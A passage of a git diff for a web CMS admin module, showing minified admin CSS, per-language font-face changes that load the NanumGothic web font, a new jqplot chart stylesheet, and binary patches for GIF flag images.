#ddd;position:relative}.x>.body>.gnb>ul>li>ul>li:first-child{border:0}.x>.body>.gnb>ul>li>ul>li.active_{box-shadow:0 0 3px #999;z-index:99;border:1px solid #666;border-left:0;border-right:0}.x>.body>.gnb>ul>li>ul>li>a{padding:4px 5px 4px 15px;background:#e8e8e8;background:-webkit-linear-gradient(top,#f1f1f1,#e8e8e8);background:-moz-linear-gradient(top,#f1f1f1,#e8e8e8);background:-o-linear-gradient(top,#f1f1f1,#e8e8e8);background:-ms-linear-gradient(top,#f1f1f1,#e8e8e8);background:linear-gradient(top,#f1f1f1,#e8e8e8)}.x>.body>.gnb>ul>li>ul#favorite>li>a{padding:4px 25px 4px 15px}.x>.body>.gnb>ul>li>ul>li:first-child>a{border-radius:4px 4px 0 0}.x>.body>.gnb>ul>li>ul>li:last-child>a{border-radius:0 0 4px 4px}.x>.body>.gnb>ul>li>ul>li:only-child>a{border-radius:4px}.x>.body>.gnb>ul>li>ul>li>a:hover,.x>.body>.gnb>ul>li>ul>li>a:active,.x>.body>.gnb>ul>li>ul>li.active_>a{font-weight:bold;background:-webkit-linear-gradient(top,#f6f6f6,#f1f1f1);background:-moz-linear-gradient(top,#f6f6f6,#f1f1f1);background:-o-linear-gradient(top,#f6f6f6,#f1f1f1);background:-ms-linear-gradient(top,#f6f6f6,#f1f1f1);background:linear-gradient(top,#f6f6f6,#f1f1f1)}.x>.body>.gnb>ul>li>ul>li.active_>a:after{content:"";position:absolute;top:8px;right:-12px;border:6px solid transparent;border-left-color:#f3f3f3;width:0;height:0;overflow:hidden}.x>.body>.gnb>ul>li>ul>li>.remove{position:absolute;top:4px;right:5px}.x>.body>.gnb>ul>li>ul>li>.remove>.x_close{width:20px;height:20px}@media all and (max-width:800px){.x>.body.wide>.gnb>ul>li>a>.tx{width:auto;height:auto}}.x .dashboard{zoom:1}.x .dashboard:after{content:"";display:block;clear:both}.x .dashboard>div{float:right;width:49%}.x .dashboard>div:first-child{float:left}.x .dashboard>div>section{position:relative;height:196px;border:1px solid #ddd;border-radius:4px;margin:0 0 25px 0;overflow:hidden}.x .dashboard>div>section>h2{font-size:14px;margin:0;padding:6px 15px;border-bottom:1px solid #ddd;background:#e8e8e8;background:-webkit-linear-gradient(top,#f1f1f1,#e8e8e8);background:-moz-linear-gradient(top,#f1f1f1,#e8e8e8);background:-o-linear-gradient(top,#f1f1f1,#e8e8e8);background:-ms-linear-gradient(top,#f1f1f1,#e8e8e8);background:linear-gradient(top,#f1f1f1,#e8e8e8);text-shadow:0 1px 0 #fff}.x .dashboard>div>section>h2:before{content:"";display:inline-block;width:14px;height:14px;margin:0 4px 0 0;vertical-align:middle;opacity:.5;filter:alpha(opacity=50)}.x .dashboard>div>.status>h2:before{background-position:-408px 0}.x .dashboard>div>.status dl{color:#767676;display:inline-block;*display:inline;zoom:1;margin:0 8px 0 0;padding:1px 8px 0;font:11px/1 돋움,Dotum,Arial,Helvetica,sans-serif;background:#fff;box-shadow:0 0 3px #999 inset;border-radius:3px;min-width:60px;text-align:center}.x .dashboard>div>.status dt{display:inline;font-weight:normal}.x .dashboard>div>.status dd{display:inline;margin:0}.x .dashboard>div>.status dl a{color:#767676}.x .dashboard>div>.document>h2:before{background-position:-264px -48px}.x .dashboard>div>.reply>h2:before{background-position:-240px -120px}.x .dashboard>div>.trackback>h2:before{background-position:-216px -120px}.x .dashboard>div>section>.more{position:absolute;top:7px;right:15px;text-shadow:0 1px 0 #fff}.x .dashboard>div>section>.more i{font:12px Tahoma,Geneva,sans-serif}.x .dashboard>div>section ul{list-style:none;margin:10px;padding:0;overflow:hidden;zoom:1}.x .dashboard>div>section li{position:relative;height:28px;line-height:28px;padding:0 70px 0 5px;white-space:nowrap;overflow:hidden;zoom:1;vertical-align:top}.x .dashboard>div>section li.hover{background:#f4f4f4;border-radius:4px}.x .dashboard>div>section li>a{display:block;width:100%;white-space:nowrap;text-overflow:ellipsis;overflow:hidden}.x .dashboard>div>section li>.side{position:absolute;top:0;right:5px;line-height:28px;width:60px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;text-align:right;zoom:1}.x .dashboard>div>section li>.action{display:none;position:absolute;top:0;right:5px;margin:0;padding:0 0 0 10px;text-align:right;white-space:nowrap;line-height:28px;background:#f4f4f4}.x .dashboard>div>section li>.action>button{margin:0 0 0 4px;padding:0;overflow:visible}@media all and (max-width:980px){.x .dashboard>div{float:none!important;width:auto}}.x .g11n>.x_add-on{font-size:0;position:relative;cursor:pointer;text-decoration:none;*color:#eee;}.x .g11n>.x_add-on>i{position:absolute;top:50%;left:50%;margin:-7px 0 0 -7px;z-index:1;opacity:.25;filter:alpha(opacity=25)}.x .g11n>.x_add-on.remover{display:none;width:26px;height:26px}.x .g11n.active>[disabled]{padding-left:25px;background-position:4px 6px;background-repeat:no-repeat}.x .g11n.active>.x_add-on.remover{display:inline-block}.x .g11n>.x_add-on:hover>i{opacity:1;filter:alpha(opacity=100)}.x .g11n>textarea{border-top-right-radius:0;overflow-x:hidden}#g11n #lang_search .list{border-top:2px solid #ddd}#g11n #lang_search .item{border-bottom:1px solid #ddd;margin:0}#g11n #lang_search .item>a{display:block;padding:8px 0;position:relative}#g11n #lang_search .item>a>i{position:absolute;top:50%;margin:-7px 0 0 0;right:0;opacity:.5;filter:alpha(opacity=50)}#g11n #lang_search .item>fieldset{display:none;padding:0 0 15px 0}#g11n .item input[type="text"],#g11n .item textarea{padding-left:25px;width:187px;background-repeat:no-repeat;background-position:4px 8px;overflow-x:hidden}#g11n .flag{padding-left:18px;background-repeat:no-repeat;background-position:0 50%}html[lang="en"] .x .g11n.active>[disabled],#g11n .item .en,#g11n .flag.en{background-image:url(../img/flag.en.gif)}html[lang="ko"] .x .g11n.active>[disabled],#g11n .item .ko,#g11n .flag.ko{background-image:url(../img/flag.ko.gif)}html[lang="jp"] .x .g11n.active>[disabled],#g11n .item .jp,#g11n .flag.jp{background-image:url(../img/flag.jp.gif)}html[lang="zh"] .x .g11n.active>[disabled],#g11n .item .zh-CN,#g11n .flag.zh-CN{background-image:url(../img/flag.cn.gif)}html[lang="zh"] .x .g11n.active>[disabled],#g11n .item .zh-TW,#g11n .flag.zh-TW{background-image:url(../img/flag.tw.gif)}html[lang="fr"] .x .g11n.active>[disabled],#g11n .item .fr,#g11n .flag.fr{background-image:url(../img/flag.fr.gif)}html[lang="de"] .x .g11n.active>[disabled],#g11n .item .de,#g11n .flag.de{background-image:url(../img/flag.de.gif)}html[lang="ru"] .x .g11n.active>[disabled],#g11n .item .ru,#g11n .flag.ru{background-image:url(../img/flag.ru.gif)}html[lang="es"] .x .g11n.active>[disabled],#g11n .item .es,#g11n .flag.es{background-image:url(../img/flag.es.gif)}html[lang="tr"] .x .g11n.active>[disabled],#g11n .item .tr,#gg1n .flag.tr{background-image:url(../img/flag.tr.gif)}html[lang="vi"] .x .g11n.active>[disabled],#g11n .item .vi,#g11n .flag.vi{background-image:url(../img/flag.vi.gif)}html[lang="mn"] .x .g11n.active>[disabled],#g11n .item .mn,#g11n .flag.mn{background-image:url(../img/flag.mn.gif)}#g11n #lang_search .cancel,#g11n #lang_search .save,#g11n #lang_search .editMode .modify,#g11n #lang_search .editMode .useit{display:none}#g11n #lang_search .editMode .cancel,#g11n #lang_search .editMode .save{display:inline-block}.x .moduleWindow{position:absolute;z-index:100;padding:15px 20px}.x .moduleWindow ul{margin-bottom:0}.x .moduleWindow .siteList{margin-right:14px}.x .moduleWindow .siteList>input[type="search"]{width:100%;padding-top:6px;padding-bottom:6px;border-radius:3px 3px 0 0;margin-bottom:0}.x .moduleWindow .siteList>ul{margin:-1px -14px 0 0}.x .moduleWindow .siteList>ul>li{background:#fff}.x .moduleWindow .siteList>ul>li:first-child>a{border-top-left-radius:0;border-top-right-radius:0}.x .moduleWindow select{width:100%}.x .textList{border:1px solid #ddd!important;line-height:1.5em;height:125px;overflow:auto}.x .textList li{position:relative;border:0;padding:0 10px;height:25px;line-height:25px;white-space:nowrap;overflow:hidden}.x .textList li:nth-child(even){background:#eee}.x .textList li>button{position:absolute;right:8px;top:50%;margin:-7px 0 0 0}.x .uDrag .wrap{position:relative;padding-left:20px}.x .uDrag li>.wrap{margin:0 0 0 8px}.x .uDrag .dragActive{background:#FFD}.x .uDrag .dragActive th,.x .uDrag .dragActive td{background:none!important}.x .uDrag .dragBtn{position:absolute;width:8px;height:100%;padding:0;overflow:hidden;background:url(../img/bgDragable.gif);top:1px;left:0;text-indent:12px;border:0;cursor:n-resize;white-space:nowrap;font-size:0}.x #faviconPreview{position:relative;padding:80px 0 0 200px;background:url(../img/bgFavicon.gif) no-repeat}.x #faviconPreview img{position:absolute}.x #faviconPreview .fn1{top:30px;left:12px}.x #faviconPreview .fn2{top:55px;left:68px}.x #mobiconPreview{position:relative;padding:270px 0 0 200px;background:url(../img/bgMobileTop.png) no-repeat}.x #mobiconPreview img{position:absolute;top:20px;left:10px;width:32px;height:32px}.x #mobiconPreview span{position:absolute;width:32px;text-align:center;top:52px;left:10px;color:#fff;font-size:9px}.x .layer{position:absolute;display:none;font-weight:normal}.tree{margin:3px 0 5px 0;min-width:200px;background-color:transparent!important}.tree ul{margin:0;padding:0;list-style:none}.tree li{padding:0;white-space:nowrap;position:relative;border-radius:3px;vertical-align:top}.tree li>ul{margin:0}.tree a{text-decoration:none}.tree>ul{padding:1px}.tree .jstree-rename-input{margin-left:-16px;z-index:2}.tree>ul>li{margin-top:30px;position:relative}.tree>ul>li:before{content:"";display:block;border-top:1px dotted #ccc;position:relative;top:-15px}.tree>ul>li:first-child{margin-top:0}.tree>ul>li:first-child:before{content:normal}.tree>ul>li>a{font-weight:bold;text-shadow:0 1px 0 #fff;vertical-align:middle}.tree>ul>li>a:hover,.tree>ul>li>a:focus,.tree>ul>li>a.jstree-clicked,.tree>ul>li>a.jstree-hovered{text-shadow:none}.tree>ul>li>ul{margin:0 0 0 18px}.tree>ul>li>ul>li{margin-left:0}.tree li>a{border:0!important;padding:0 8px!important;margin:0 0 1px 0;border-radius:3px;position:relative;z-index:2;height:23px;line-height:23px;max-width:160px;overflow:hidden;text-overflow:ellipsis;-webkit-transition:.2s;-moz-transition:.2s;-o-transition:.2s;transition:.2s}.tree li>a>i{opacity:.5;filter:alpha(opacity=50)}.tree .jstree-hovered>i,.tree .jstree-clicked>i{opacity:1;filter:alpha(opacity=100)}.tree a>.jstree-icon{display:none}.tree .jstree-open>.jstree-icon,.tree .jstree-closed>.jstree-icon{background-color:#fff}.x .h2,.x .h3,.x .h4{position:relative;border-style:solid;border-top:0;border-right:0;zoom:1;padding-left:8px}.x .h1{background:#444;border-radius:4px;color:#fff;margin:0 0 1em 0;font-size:16px;padding:0 15px;line-height:36px}.x .h2{border-width:3px;font-size:20px;border-color:#888}.x .h3{border-width:2px;font-size:16px;border-color:#aaa}.x .h4{border-width:1px;font-size:12px;border-color:#ccc}.x .h1+ul,.x .h2+ul,.x .h3+ul,.x .h4+ul,.x .h1+.table table,.x .h2+.table table,.x .h3+.table table,.x .h4+.table table{border-top:0!important;margin-top:-1em!important}.x .table{margin:1em 0}.x .table table{width:100%;border:0;border-collapse:collapse;border-top:2px solid #ccc}.x .table caption{font-weight:bold;text-align:left;line-height:22px;padding:5px 0}.x .table caption:after{content:"";display:block;clear:both}.x .table caption a{font-weight:normal}.x .table caption em{float:right;margin-left:1em}.x .table caption strong{color:#e00}.x .table caption .side{float:right;font-weight:normal;margin-left:1em}.x .table th,.x .table td{border:0;padding:8px;vertical-align:top;text-align:left;border-bottom:1px solid #ddd}.x .table th{background:#f8f8f8}.x .table thead th{border-bottom:1px solid #999}.x .table tfoot td{font-weight:bold;background:#f8f8f8}.x .table.even tbody tr:nth-of-type(even){background-color:#fafafa}.x .table tbody tr:hover{background:#ffd!important}.x .table td>input[type="text"]{margin:-1px 0!important;vertical-align:middle}.x .table img{vertical-align:middle}.x .table em{font-style:normal;font-weight:normal;color:#e00}.x .form{margin:0 0 1em 0;padding:0}.x .form fieldset{margin:0 0 2em 0;padding:0;border:0}.x .form.search fieldset{border:1px solid #ccc;padding:5px 15px;border-radius:3px}.x .form em{font-style:normal;color:#e00}.x .form label{line-height:1;vertical-align:middle}.x .form input[type="radio"]+label,.x .form input[type="checkbox"]+label{margin-right:1em}.x .form input[type="checkbox"]+label,.x .form input[type="radio"]+label,.x .form input[type="file"]{cursor:pointer}.x .form ul{position:relative;margin:1em 0;padding:0;list-style:none;border-top:2px solid #ccc;border-bottom:1px solid #ccc;zoom:1}.x .form li{list-style:none;border:1px solid #ddd;border-left:0;border-right:0;margin:-1px 0;padding:8px 0;vertical-align:top;zoom:1}.x .form li:hover{background:#ffd}.x .form li:first-child{border-top:0}.x .form li>label:first-child{display:block;font-weight:bold}.x .form li label em{font-weight:normal}.x .form label.overlap{position:absolute;color:#aaa}.x .form input[type="text"],.x .form input[type="password"],.x .form input[type="file"],.x .form select[size],.x .form textarea{position:relative;width:280px;margin:2px 0;border:1px solid #b7b7b7;border-right-color:#e1e1e1;border-bottom-color:#e1e1e1;background:transparent}.x .form input[type="text"],.x .form input[type="password"],.x .form input[type="file"]{height:22px;line-height:22px;vertical-align:middle;padding:0 4px}.x .form input[type="checkbox"],.x .form input[type="radio"]{margin:0;padding:0;width:13px;height:13px;vertical-align:middle}.x .form input[type="text"][disabled="disabled"],.x .form input[type="password"][disabled="disabled"],.x .form input[type="radio"][disabled="disabled"],.x .form input[type="checkbox"][disabled="disabled"],.x .form select[disabled="disabled"],.x .form textarea[disabled="disabled"]{background:#ddd;text-shadow:1px 1px 0 #fff}.x .form textarea{padding:3px 4px;vertical-align:top;resize:both}.x .form span.desc,.x .form em.desc{line-height:22px;vertical-align:middle;margin:0 10px}.x .form p.desc{margin:.25em 0;line-height:1.4}.x .form .q{font-weight:bold;margin:0 0 5px 0}.x .form .a{margin:0 0 5px 0}.x .form .tgForm{margin-right:1em}.x .cnb{margin:1em 0;position:relative;zoom:1}.x .cnb:after{content:"";display:block;clear:both}.x .cnb ul{list-style:none;margin:0;padding:0}.x .cnb li{display:inline}.x .cnb li:before{content:"| ";color:#ccc}.x .cnb li:first-child:before{content:""}.x .cnb .active,.x .cnb .active a{font-weight:bold;color:#333;text-decoration:none}.x .cnb .side{float:right}.x .pagination{margin:1em 0;text-align:center;line-height:normal}.x .pagination *{vertical-align:middle}.x .pagination a,.x .pagination strong{position:relative;display:inline-block;padding:2px 4px;font-weight:bold;text-decoration:none;line-height:normal;color:#333!important;vertical-align:middle}.x .pagination a:hover,.x .pagination a:active,.x .pagination a:focus{border:1px solid #ddd;margin:0 -1px}.x .pagination strong{color:#e00!important;font-size:20px}.x .pagination .direction{font-weight:normal;white-space:nowrap}.x .pagination .direction:hover,.x .pagination .direction:active,.x .pagination .direction:focus{border:0;margin:0;text-decoration:underline}.x .pagination input{width:30px;text-align:center}.x .pagination button{overflow:visible}.x .prgrs{white-space:nowrap;line-height:normal;vertical-align:middle}.x .prgrs *{vertical-align:middle}.x .prgrs .pBar{position:relative;display:inline-block;background:#e9e9e9;margin:0 5px 0 0}.x .prgrs .pAction{display:inline-block;vertical-align:top;background:#99a6b6}.x .prgrs .pNum{width:100%;left:0;top:0;text-align:center;text-shadow:1px 1px 0 #fff}.x .prgrs.prgrsSmall{font-size:14px;line-height:14px}.x .prgrs.prgrsSmall .pBar,.x .prgrs.prgrsSmall .pAction,.x .prgrs.prgrsSmall .pNum{height:16px;line-height:16px;font-size:11px}.x .prgrs.prgrsMedium{font-size:24px;line-height:24px}.x .prgrs.prgrsMedium .pBar,.x .prgrs.prgrsMedium .pAction,.x .prgrs.prgrsMedium .pNum{height:22px;line-height:22px;font-size:12px}.x .prgrs.prgrsLarge{font-size:38px;line-height:38px}.x .prgrs.prgrsLarge .pBar,.x .prgrs.prgrsLarge .pAction,.x .prgrs.prgrsLarge .pNum{height:34px;line-height:34px;font-size:14px}.modal{position:absolute;top:0;left:0;width:100%;_height:100%;min-height:100%;z-index:1050}.modal .bg{position:absolute;background:#000;_background:none;width:100%;height:100%;opacity:.5;z-index:2;filter:alpha(opacity=50);zoom:1}.modal .fg{position:relative;width:80%;margin:5em auto;background:#fff;padding:0 1em;*padding:1em;border:8px solid #ddd;z-index:3;zoom:1;border-radius:5px;box-shadow:0 0 6px #000}.modal ul,.modal ol,.modal .lined,.modal .table{margin-bottom:1em}.modal .ie6{position:absolute;left:0;top:0;width:100%;height:100%;border:0;opacity:0;filter:alpha(opacity=0);z-index:1}.modalClose{position:absolute;right:-8px;top:-8px;border:0;background:#ddd;padding:0;width:28px;height:28px;font-size:14px;font-weight:bold;cursor:pointer;color:#999;border-radius:5px}.modalBlur{position:absolute;top:0;right:0;border:0;background:none;padding:0;width:1px;height:1px;overflow:hidden} \ No newline at end of file diff --git a/modules/admin/tpl/css/admin_en.css b/modules/admin/tpl/css/admin_en.css index 8e135bf24..97b5532f8 100644 --- a/modules/admin/tpl/css/admin_en.css +++ b/modules/admin/tpl/css/admin_en.css @@ -1,7 +1,6 @@ @charset "utf-8"; -.x, -.x table, -.x input, -.x textarea, -.x select, -.x button{font-family:Tahoma,Geneva,sans-serif} \ No newline at end of file +@font-face{font-family:NG;src:url(https://themes.googleusercontent.com/static/fonts/earlyaccess/nanumgothic/v3/NanumGothic-Regular.eot);src:local(※),url(https://themes.googleusercontent.com/static/fonts/earlyaccess/nanumgothic/v3/NanumGothic-Regular.woff) format('woff')} +body>.x,.x table,.x input,.x textarea,.x select,.x button{font-family:나눔고딕,NanumGothic,NG,돋움,Dotum,Arial,Helvetica,sans-serif} +@media all and (max-width:980px){ +body>.x,.x table,.x input,.x textarea,.x select,.x button{font-family:sans-serif} +} \ No newline at end of file diff --git a/modules/admin/tpl/css/admin_jp.css b/modules/admin/tpl/css/admin_jp.css index 4e4ddba27..97b5532f8 100644 --- a/modules/admin/tpl/css/admin_jp.css +++ b/modules/admin/tpl/css/admin_jp.css @@ -1,7 +1,6 @@ @charset "utf-8"; -.x, -.x table, -.x input, -.x textarea, -.x select, -.x button{font-family:"MS PGothic",Osaka,Arial,sans-serif} +@font-face{font-family:NG;src:url(https://themes.googleusercontent.com/static/fonts/earlyaccess/nanumgothic/v3/NanumGothic-Regular.eot);src:local(※),url(https://themes.googleusercontent.com/static/fonts/earlyaccess/nanumgothic/v3/NanumGothic-Regular.woff) format('woff')} +body>.x,.x table,.x input,.x textarea,.x select,.x button{font-family:나눔고딕,NanumGothic,NG,돋움,Dotum,Arial,Helvetica,sans-serif} +@media all and (max-width:980px){ +body>.x,.x table,.x input,.x textarea,.x select,.x button{font-family:sans-serif} +} \ No newline at end of file diff --git a/modules/admin/tpl/css/admin_ko.css b/modules/admin/tpl/css/admin_ko.css index daca629af..97b5532f8 100644 --- a/modules/admin/tpl/css/admin_ko.css +++ b/modules/admin/tpl/css/admin_ko.css @@ -1,7 +1,6 @@ @charset "utf-8"; -.x, -.x table, -.x input, -.x textarea, -.x select, -.x button{font-family:나눔고딕,NanumGothic,"맑은 고딕","Malgun Gothic",돋움,Dotum,sans-serif} +@font-face{font-family:NG;src:url(https://themes.googleusercontent.com/static/fonts/earlyaccess/nanumgothic/v3/NanumGothic-Regular.eot);src:local(※),url(https://themes.googleusercontent.com/static/fonts/earlyaccess/nanumgothic/v3/NanumGothic-Regular.woff) format('woff')} +body>.x,.x table,.x input,.x textarea,.x select,.x button{font-family:나눔고딕,NanumGothic,NG,돋움,Dotum,Arial,Helvetica,sans-serif} +@media all and (max-width:980px){ +body>.x,.x table,.x input,.x textarea,.x select,.x button{font-family:sans-serif} +} \ No newline at end of file diff --git a/modules/admin/tpl/css/jquery.jqplot.min.css b/modules/admin/tpl/css/jquery.jqplot.min.css new file mode 100644 index 000000000..6497f61d3 --- /dev/null +++ b/modules/admin/tpl/css/jquery.jqplot.min.css @@ -0,0 +1 @@ +.jqplot-target{position:relative}.jqplot-axis{font:11px Dotum,Arial,Helvetica,sans-serif;color:#666}.jqplot-xaxis{margin-top:10px}.jqplot-x2axis{margin-bottom:10px}.jqplot-yaxis{margin-right:10px}.jqplot-y2axis,.jqplot-y3axis,.jqplot-y4axis,.jqplot-y5axis,.jqplot-y6axis,.jqplot-y7axis,.jqplot-y8axis,.jqplot-y9axis,.jqplot-yMidAxis{margin-left:10px;margin-right:10px}.jqplot-axis-tick,.jqplot-xaxis-tick,.jqplot-yaxis-tick,.jqplot-x2axis-tick,.jqplot-y2axis-tick,.jqplot-y3axis-tick,.jqplot-y4axis-tick,.jqplot-y5axis-tick,.jqplot-y6axis-tick,.jqplot-y7axis-tick,.jqplot-y8axis-tick,.jqplot-y9axis-tick,.jqplot-yMidAxis-tick{position:absolute;white-space:pre}.jqplot-xaxis-tick{top:0;left:15px;vertical-align:top}.jqplot-x2axis-tick{bottom:0;left:15px;vertical-align:bottom}.jqplot-yaxis-tick{right:0;top:15px;text-align:right}.jqplot-yaxis-tick.jqplot-breakTick{right:-20px;margin-right:0;padding:1px 5px 1px 5px;z-index:2;font-size:1.5em}.jqplot-y2axis-tick,.jqplot-y3axis-tick,.jqplot-y4axis-tick,.jqplot-y5axis-tick,.jqplot-y6axis-tick,.jqplot-y7axis-tick,.jqplot-y8axis-tick,.jqplot-y9axis-tick{left:0;top:15px;text-align:left}.jqplot-yMidAxis-tick{text-align:center;white-space:nowrap}.jqplot-xaxis-label{margin-top:10px;font-size:11pt;position:absolute}.jqplot-x2axis-label{margin-bottom:10px;font-size:11pt;position:absolute}.jqplot-yaxis-label{margin-right:10px;font-size:11pt;position:absolute}.jqplot-yMidAxis-label{font-size:11pt;position:absolute}.jqplot-y2axis-label,.jqplot-y3axis-label,.jqplot-y4axis-label,.jqplot-y5axis-label,.jqplot-y6axis-label,.jqplot-y7axis-label,.jqplot-y8axis-label,.jqplot-y9axis-label{font-size:11pt;margin-left:10px;position:absolute}.jqplot-meterGauge-tick{font-size:.75em;color:#999}.jqplot-meterGauge-label{font-size:1em;color:#999}table.jqplot-table-legend{margin:0 0 0 25px}table.jqplot-table-legend,table.jqplot-cursor-legend{position:absolute}table.jqplot-table-legend td,table.jqplot-cursor-legend td{font:11px/15px Dotum,Arial,Helvetica,sans-serif;color:#666}td.jqplot-table-legend{vertical-align:middle}td.jqplot-seriesToggle:hover,td.jqplot-seriesToggle:active{cursor:pointer}.jqplot-table-legend .jqplot-series-hidden{text-decoration:line-through}div.jqplot-table-legend-swatch-outline{border:1px solid #ccc;padding:1px}div.jqplot-table-legend-swatch{width:0;height:0;border-top-width:5px;border-bottom-width:5px;border-left-width:6px;border-right-width:6px;border-top-style:solid;border-bottom-style:solid;border-left-style:solid;border-right-style:solid}.jqplot-title{top:0;left:0;padding-bottom:.5em;font-size:1.2em}table.jqplot-cursor-tooltip{border:1px solid #ccc;font-size:.75em}.jqplot-cursor-tooltip{border:1px solid #ccc;font-size:.75em;white-space:nowrap;background:rgba(208,208,208,0.5);padding:1px}.jqplot-highlighter-tooltip,.jqplot-canvasOverlay-tooltip{border:1px solid #ccc;font-size:.75em;white-space:nowrap;background:rgba(208,208,208,0.5);padding:1px}.jqplot-point-label{font-size:.75em;z-index:2}td.jqplot-cursor-legend-swatch{vertical-align:middle;text-align:center}div.jqplot-cursor-legend-swatch{width:1.2em;height:.7em}.jqplot-error{text-align:center}.jqplot-error-message{position:relative;top:46%;display:inline-block}div.jqplot-bubble-label{font-size:.8em;padding-left:2px;padding-right:2px;color:rgb(20%,20%,20%)}div.jqplot-bubble-label.jqplot-bubble-label-highlight{background:rgba(90%,90%,90%,0.7)}div.jqplot-noData-container{text-align:center;background-color:rgba(96%,96%,96%,0.3)} \ No newline at end of file diff --git a/modules/admin/tpl/img/btnPlusMinus.gif b/modules/admin/tpl/img/btnPlusMinus.gif deleted file mode 100644 index d413d4e24ef7ab7598ac45a6fc73442fbd5eef7d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 91 zcmZ?wbhEHbo{(v2)xoPpt*y!;^shKH`M_pGcQhlJd7aJVWdc}-96o{i0~I~DU7 z7#=t|UF79`JK5v1u<(5^uisB%?z+0(0xFJ(xM5`U^^EspFVAO*iBJ6f?-&~1Ff)6Z zpZ6>x>_t}A1AF@?v9a&kD_^9geV85c?R?Zwlm;OW!bBG_lJIdPlCK(6&2sMwS68Fd6j|TG6TbHef@CM;J}~*@&qVO7}!@dn3Dsj0FfcGN+1ooza4=Kl zQq)<%=Kku z^~Cu0TI|C@0eNB6BFS@ zMa=*J+b=KPKtS3nE7mS9;ZRW6B_-onSmsz(_Rmq*ARy5V4c|&i>2Ge`MMc&hANt&Q z;Z9E4Iy&AuI^aS=)fpMW008J}YW2)Z*cYuCo5_WD0xPv6|7|KU#F&x8aoFZVyCrEAwN{+*Na?P>eh zWnmv}Y(77z%FM|8)KIXZO@FVW;d^7_?~#!eKHlGgf_|l?{n@ng+osG{mv!DxGMidd zv~}z1OiRnJ55pT88zUkj=FFM!x>J2-ckPd-sXeKwb8BiUDk|RHu=;ez1H|FfuSWFzA3h0g4j__5}@WcFlI$_U#>=4&4rR4E-`P z9Fz6+6%}=L?R$C|4SaXl`Z^5_)hjv*9qKb(zDA6G`m+-8K?NTr3RM06~kP9smFU literal 362 zcmV-w0hRtoNk%w1VGsZd0M!5h@Z4^tKQH`sb@}U;sC_TBwX3LxFY`x7nTvh(rdIZ{ zX_SeDRmk~Z$xI*esy^4v)C;Ck|#M6-%7SXfx=i6{ABV78<$X*oGRKRWhOQtvY}y1KFV zSy{b7F`I-h{MDq&xUcenaD!W0=FJ`I9v)^%Jm`WQ@8E5%t)rE4a)5z>`|+ZjoRH|x zB0oPbA^8LV00000EC2ui01yBR000Juz>Q<*Nd1n;q=UsQ6mn1oqt{z3e#_l%GHG~8 zq|GLU_}O9-iB9+V%pPzQs_d!=1Q?2`r8*oeD-bdPb$EJwet-~ygcW&veSd)vHG>2& z3JM9EA|f3fB_%fs0Vg~e85$ZOARZnZ96mHSFDC=H0};9*ya2uc7bC(W1Ox`hF9a9L I7Z*VQJGrf#Gynhq diff --git a/modules/admin/tpl/img/flag.en.gif b/modules/admin/tpl/img/flag.en.gif new file mode 100644 index 0000000000000000000000000000000000000000..ffdadfccf0b3f932ec264d9299ad14b6f4b44aa3 GIT binary patch literal 583 zcmZ?wbhEHb6k*_Ic;>+HTU+~&m6d+ckC!iBzIpTJkDJ@KZ(oyB4?KJJbZ)ZOPXU2H zjX4YV{rM#?|0g8m(WCpOB|jZ&f6dzcXLYjI?b|o5CVTx!P1}|1^|z~>!Dkyo=5CM1 zU%!ovEXsfWt*ktm?8Q>@bCM;J}~*@&qVO7}%FI*frU)vs<=v>)CYM+B)<* z*cmA5^Vkbbx3{;L!=^J~qN234pp}&@lbjeIE2EO=0`_TwY*yw>3T9^JESlEZ8+n#m z3G9$s!zjZbA-}-V-pWjXMVDW44>L1|vidn8*`r!gl13*PczGp+7x3G&SzGVEaf?I5 z)OZ26%BnSM8J=@7>3J}89paao`{1av;9{00b~OjxM;BKFw(^VX`OKKGKzW4&gEau} Cq_r6U literal 0 HcmV?d00001 diff --git a/modules/admin/tpl/img/flag.es.gif b/modules/admin/tpl/img/flag.es.gif index c27d65e5f1218537ae3dc51733ae628cca95ecc6..1b6b5f4624a29f8934c73ca4cc62969ecc5df35e 100644 GIT binary patch literal 577 zcmZ?wbhEHb6k*_Ic;>+HCpq~p1H-dt41XCIzI>7Y^40pgxA%`9W2)`frCyW#DF-cO%HU!U}T^U&$rH|=lV4E|SD{r$`ElY!yuSJhv^!JmQd z)YbhH6Z3|F;Xe@l2NFXVDE?$&WMFV$&;j`Y6ekSq^BU}%?3r7cEjp~b?Cc!+9PG^| znMp`UOEWOoT3NC6_D{53G)IG*n?sD(W?sL8ITsI)j)JV5oG81giKQ&l+Vwn!dXfe* zJ9b&Jue z0Q~$+>;M4s008~{ZSwLH{{C9~`$hLlOZr4a^fNR0JU#I8LG<-I{cCIgdV2RnMC@o) z^*cM|008(lHt`J&_VzII^BMU70QB@9`1m&9008;n?pN$nQT$9y^1ZOY&ZyvwQRJse>&Z*q008{} z0RI30A^8LV00000EC2ui01yBR000Jsz@PBvEBZvphLXYfWuBSC0fQ+N0D*v{nE`mS zx5=d9p%AtT1O!r3$s!RG2{aJM3~2~0wOLu@bOIw6cnByb8!b37b9EyjgbEG|E;=?Z zDuIs=k&`(*J1`cGArB8AGa?0JWCR2(EC~r89|R?;Us@U(92^v81U*U(OvN3?B_%z} GK>$1Bgrgn+ diff --git a/modules/admin/tpl/img/flag.fr.gif b/modules/admin/tpl/img/flag.fr.gif index 43d0b80172e97a08147c64f811ea5c7775ad46fb..7b6301829f95af4a5ff1fee351cdf62c437bf92d 100644 GIT binary patch literal 587 zcmZ?wbhEHb6k*_Ic;>*cYVX4%m)^cj30t`J?hOWpO^2U8VPN?F{ku;1hGjeNeJn`% z(oy#++;i6Yn+MOo-hSfwhpd=)WmzxNqSD&W6ivG1lCwL!`skA;EFidD+efZ{h;h z9eA>N!-hwX9{u?7H7VT_ndzD?%lf=FJ2sDV0ioX?d#XC z-@JKKJoWO+m#>~Zdv=C_;s5{t3_}?x{$ycfU~pj20eJ!xCk*T>8f=WY(0>O89U3&r>!@R~ig z6Mv>5_i~~bD>E;z^@)$VJOO(qG$@C#O5JCh^Xd8G7Isc1F1J+;3m)+ZsYE0k5O{o? MUq->1m5IR`0I+(zzW@LL literal 366 zcmV-!0g?VkNk%w1VGsZd0M!5hs;a7*ui5eO@$F<*#M13od&TML>hy?y-rnB$m5kKX z)Yt$3w8iJV%jsr^%<5`g?(XiPwcY0C=H%q$?sjUj!{w&A-t&HP_xJazz2WW&0CJMj zs?RiQbXoVKJ@hTySuv= 